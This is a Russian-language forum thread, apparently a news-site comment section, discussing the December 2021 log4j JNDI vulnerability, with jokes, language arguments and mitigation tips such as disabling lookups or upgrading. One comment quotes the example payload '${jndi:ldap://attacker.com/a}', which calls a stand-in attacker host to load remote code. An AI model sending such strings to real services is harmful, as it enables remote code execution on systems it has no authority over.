161. Сообщение от Наме (?), 13-Дек-21, 10:24 +/–

log4j всегда был индуским шлаком. Надо быть без башки, чтобы его использовать в проме.

Ответить | Правка | Наверх | Cообщить модератору

162. Сообщение от Наме (?), 13-Дек-21, 10:30 +/–

А файрвол не? JNDI-запросы наружу это как-то вызывает вопросы, мягко скажем.

Ответить | Правка | Наверх | Cообщить модератору

163. Сообщение от Наме (?), 13-Дек-21, 10:32 +/–

Облака медленные и данные из мэнфрейма перенести это как на луну в очередной раз слетать.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #152

164. Сообщение от Наме (?), 13-Дек-21, 11:10 +/–

Нефига не правильно. В ответ на JNDI-запрос исполняющий код не должен грузить классы. Это уж совсем трэшак. Очередное пюре в духе "а ведь было бы не плохо, чтобы кофеварка ещё и траву косила".

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #87

165. Сообщение от Наме (?), 13-Дек-21, 11:15 +/–

Есть JUL и его хватает для всего.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #67

166. Сообщение от Наме (?), 13-Дек-21, 11:15 +/–

А не надо спрингом пользоваться.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #75

167. Сообщение от Наме (?), 13-Дек-21, 11:45 +/–

Жаба саморефлексаная и полностью динамическая. Так что, можно, в общем-то, всё. Правда, пальцы сотрутся и глаза коростой покроются.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #42

168. Сообщение от Михрютка (ok), 13-Дек-21, 16:51 +/–

вы что, знакомы с вопросом исключительно по пересказам товарища рабиновича?
>>>Успеть к празднику означало работу круглые сутки без сна и выходных, а не что-то другое.
успеть к празднику - означало "забьем на все существующие регламенты и требования безопасности, потому что иначе в гарантированные КБ 24 часа на старте в заправленном виде - ракету запустить невозможно, ее придется снимать со старта и готовить к пуску второй экземпляр, т.е. отложить пуск еще минимум на месяц"
>>>Варианты "давайте половину тестов не проводить, все равно нафиг не нужны" - это последних лет
вариант "испытания полностью не проходит, но мы все равно выкатим на старт" устроит?
вариант "вообще никаких испытаний операции не было, но мы все равно выкатим на старт" устроит?
это именно то, что произошло.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #160 Ответы: #170

169. Сообщение от shricke (??), 13-Дек-21, 17:37 +1 +/–

В теории, если в java security настроено разрешение загрузки классов только из разрешенных папок, то exploit не должен сработать.
Теперь как это можно пофиксить:
1) Без обновления библиотеки:
Отключить через параметр с перезапуском jvm: -Dlog4j2.formatMsgNoLookups=true
2) Обновить log4j на версию 2.15

Ответить | Правка | Наверх | Cообщить модератору

170. Сообщение от пох. (?), 13-Дек-21, 17:39 –1 +/–

Я знаком по пересказам людей, работавших в отрасли.
А вот у тебя очень похоже на напевы рабиновича, даже близко не бывавшего.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #168 Ответы: #172

171. Сообщение от Аноним (171), 13-Дек-21, 22:20 +/–

А ведь скоро придет время, когда они додумаются прикрутить продвинутый искусственный интеллект к очередной помойке для логов, и тогда пелевинские "зенитные кодексы" из фантастики превратяться в когнитивно диссонирующую реальность.
Истинно говорю вам! Так что покайтесь, пока еще не поздно...

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #92

172. Сообщение от Михрютка (ok), 14-Дек-21, 01:19 +/–

а я, дяденька, просто кратко вам пересказал доклад близко не бывавших рабино^Wчленов комиссии ЦК в составе Брежнева, Гречко, Устинова, Сербина и др. они видимо написали полную фигню, да? а близко не бывавший Янгель с теми, кто уцелел после взрыва, еще и техническую фигню написали в приложении #1.
это уже лет двадцать как опубликовано, желающие могут почитать хоть вот тут например
https://rvsn.info/library/docs/doc_1_1113.html

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #170

173. Сообщение от Онаним (?), 14-Дек-21, 07:18 +/–

Как вариант. В PHP легко closure передать. В жабе не в курсе, далёк от.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #158

174. Сообщение от szt1980 (ok), 17-Дек-21, 00:02 –1 +/–

А все потому, что не на растишке написан.

Ответить | Правка | Наверх | Cообщить модератору

175. Сообщение от Аноним (175), 27-Дек-21, 02:13 +/–

Чё за поток сознания лол, иди таблеточки пропей

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #137

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема

Партнёры:

Хостинг:

Закладки на сайте
Проследить за страницей

Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру

1. Сообщение от Аноним (1), 10-Дек-21, 09:23	–11 +/–
«катастрофическая», лол
Ответить \| Правка \| Наверх \| Cообщить модератору
Ответы: #4, #20, #46

2. Сообщение от Антонио (??), 10-Дек-21, 09:28	+13 +/–
Переполнение буфера, говорили они. Безопасность, говорили они. Позор и срамота.
Ответить \| Правка \| Наверх \| Cообщить модератору
Ответы: #9, #92

3. Сообщение от Аноним (3), 10-Дек-21, 09:30	–6 +/–
ага, спасибо. прямо вот только что проснулся и побежал патчить свои Apple iCloud - сервера
Ответить \| Правка \| Наверх \| Cообщить модератору

4. Сообщение от Аноним (4), 10-Дек-21, 09:30	+28 +/–
Ну учитывая где используется Java и как там дела с обновлениями, то действительно все печально
Ответить \| Правка \| Наверх \| Cообщить модератору
Родитель: #1

8. Сообщение от лютый жабби__ (?), 10-Дек-21, 09:43	–3 +/–
бред какой-то... даже если торчит майнкрафт голой ж в инет, ну запишите в логгер произвольный текст, я посмотрю на ваши успехи ) "Надо срочно переписать на ржаву" твои мозги )
Ответить \| Правка \| Наверх \| Cообщить модератору
Ответы: #10, #27

9. Сообщение от btrfs (?), 10-Дек-21, 09:43	+6 +/–
Простите за моё невежество, но как связаны реализация в языке и нечто криво реализованное на этом языке?
Ответить \| Правка \| Наверх \| Cообщить модератору
Родитель: #2 Ответы: #11, #69

10. Сообщение от Аноним (4), 10-Дек-21, 09:45	+/–
А то что почти все банки на Java? При чем там лютый legacy
Ответить \| Правка \| Наверх \| Cообщить модератору
Родитель: #8 Ответы: #19, #34, #91

11. Сообщение от Аноним (11), 10-Дек-21, 09:49	+30 +/–
Есть свидетели того, которые утверждают, что если убрать риски работы с памятью, то всё само наладится, и даже кости выпрямятся.
Ответить \| Правка \| Наверх \| Cообщить модератору
Родитель: #9 Ответы: #39, #43

13. Сообщение от пох. (?), 10-Дек-21, 09:51	+/–
Но как же ж так? Ведь жаба же ж - безопастная?!
Ответить \| Правка \| Наверх \| Cообщить модератору
Ответы: #18, #32, #36, #45

16. Сообщение от d (??), 10-Дек-21, 10:00	+3 +/–
Давайте все усложним, что бы потом все упростить сложными путями.
Ответить \| Правка \| Наверх \| Cообщить модератору
Ответы: #74, #133

17. Сообщение от Аноним12345 (?), 10-Дек-21, 10:00	+1 +/–
>> Возвращённый сервером атакующего путь будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения. Это действительно катастрофа С системой можно делать все что угодно Жаба, господа, та самая проприетарная жаба
Ответить \| Правка \| Наверх \| Cообщить модератору
Ответы: #125

18. Сообщение от Аноним12345 (?), 10-Дек-21, 10:01	+1 +/–
Ни разу не безопасная
Ответить \| Правка \| Наверх \| Cообщить модератору
Родитель: #13 Ответы: #42

19. Сообщение от лютый жабби__ (?), 10-Дек-21, 10:04	+/–
>При чем там лютый legacy ты неправ. слышал, что у немцев можно 6-ку встретить, но в рф 8-11 уже почти везде. у всяких тупкофф-кредитно-пельменные-системы 17 + коклины, скалы, го и прочая смузибень ) уж версию log4j бампнуть не проблема.... хотя для типичного e.printStackTrace(); данная "уязвимость" имхо неуязвима
Ответить \| Правка \| Наверх \| Cообщить модератору
Родитель: #10 Ответы: #37

20. Сообщение от Аноним (20), 10-Дек-21, 10:06	+6 +/–
Не так давно пол-США сидели без бензина и мяса когда ломанули оператора трубопроводной сети и оператора сети мясокомбинатов. А на яве написано допупа бизнес-логики.
Ответить \| Правка \| Наверх \| Cообщить модератору
Родитель: #1

21. Сообщение от Аноним (21), 10-Дек-21, 10:09	–1 +/–
Да весь код на яве такой дырявый. Чтобы передать стрингу или простейший boolean сразу используют RPC с уродским RMI
Ответить \| Правка \| Наверх \| Cообщить модератору
Ответы: #126

22. Сообщение от BratishkaErik (ok), 10-Дек-21, 10:09	+2 +/–
Ох, я не успел сделать новость... А вообще это круто — пусть люди поскорее узнают новость
Ответить \| Правка \| Наверх \| Cообщить модератору

24. Сообщение от Аноним (24), 10-Дек-21, 10:11	+4 +/–
Jndi для лога это точно нужная фича которая должна быть включена у всех по умолчанию? Может быть нафиг её? И вообще сетевые запросы отправлять в логе не выглядит безопасно.
Ответить \| Правка \| Наверх \| Cообщить модератору
Ответы: #44

27. Сообщение от BratishkaErik (ok), 10-Дек-21, 10:29	+4 +/–
Написал в чате > записало в логи > взлом Проголосовал на мониторинге с NuVotifier > записало в логи > взлом
Ответить \| Правка \| Наверх \| Cообщить модератору
Родитель: #8 Ответы: #116

28. Сообщение от Аноним (28), 10-Дек-21, 10:29	–1 +/–
log4net в безопасности?
Ответить \| Правка \| Наверх \| Cообщить модератору

29. Сообщение от пох. (?), 10-Дек-21, 10:31	+2 +/–
Кстати,поищите у себя в логах appdynamics. Эксплуатируемо или нет - не знаю, но им пользуется половина так называемого цивилизованного мира. Да, оно работает от рута. Да, конечно же там log4j, где ж его теперь нет.
Ответить \| Правка \| Наверх \| Cообщить модератору

30. Сообщение от Аноним (30), 10-Дек-21, 10:31	+/–
У меня вчера stream play на стиме сам без особой причины запустился. И начал двигать мышью и открыл виртуальную клаву Steam. у меня есть основания полагать что уже активно юзают это чудо.
Ответить \| Правка \| Наверх \| Cообщить модератору

31. Сообщение от DEF (?), 10-Дек-21, 10:35	+/–
Блин. Мои хелловорлды юзают log4j2. Ждем фиксов!
Ответить \| Правка \| Наверх \| Cообщить модератору

32. Сообщение от Котофалк (?), 10-Дек-21, 10:35	+1 +/–
Скилл написать небезопасно на каком угодно языке позволяет это преодолеть. И не только это. Тут как нельзя кстати набор поговорок про сломать сдуру, про стеклянный до обеда и иже с ними.
Ответить \| Правка \| Наверх \| Cообщить модератору
Родитель: #13

34. Сообщение от йо (?), 10-Дек-21, 10:38	+2 +/–
Неправда, некоторые банки ещё на COBOL, и планируют перейти на модно-молодёжную Java.
Ответить \| Правка \| Наверх \| Cообщить модератору
Родитель: #10

35. Сообщение от Онаним (?), 10-Дек-21, 10:40	+4 +/–
> "${jndi:ldap://attacker.com/a}", при обработке которой log4j отправит на сервер attacker.com LDAP-запрос пути к Java-классу Макаки конечно везде одинаковые, да... Это ж надо такую срань в систему логгирования воткнуть. А вот просто ${var} и передачу var отдельно - ну никак было.
Ответить \| Правка \| Наверх \| Cообщить модератору

36. Сообщение от йо (?), 10-Дек-21, 10:41	+3 +/–
Это не Ява, это log4j.
Ответить \| Правка \| Наверх \| Cообщить модератору
Родитель: #13 Ответы: #38

37. Сообщение от Онаним (?), 10-Дек-21, 10:43	+7 +/–
Там легаси проприетарь, которая возможно уже местами просто не поддерживается, но сертифицировать новую версию ДОРОГО(tm). И бампнуть там ничего не получится либо потому что все версии библиотек тоже прибиты гвоздями по сертификации, либо потому, что API сменилось 100500 лет назад тому, и говно мамонта просто развалится.
Ответить \| Правка \| Наверх \| Cообщить модератору
Родитель: #19 Ответы: #77

38. Сообщение от Онаним (?), 10-Дек-21, 10:47	+/–
Который к сожалению в рот тащит каждый третий проект из двух.
Ответить \| Правка \| Наверх \| Cообщить модератору
Родитель: #36

39. Сообщение от Аноним (39), 10-Дек-21, 10:47	+/–
Простите, но Вы звиздите. Никто из них не утверждал, что прям "всё само наладится". Исчезнут (почти) целые классы ошибок, коих большинство (70-80%), но логические ошибки в архитектуре системы или в реализации бизнес-логики никто не отменял - от прокладки зависит. Но Вы, конечно, припИшете оппонентам и поедание младенцев, хуже не будет, верно?
Ответить \| Правка \| Наверх \| Cообщить модератору
Родитель: #11

40. Сообщение от Аноним (-), 10-Дек-21, 10:49	+/–
По непроверенным данным дыра проявляется в госуслугах и вёбинтерфейсах кучи крупных банков. Лично перепроверить не решился, так как за такую проверку и посадить могут.
Ответить \| Правка \| Наверх \| Cообщить модератору
Ответы: #47, #141, #157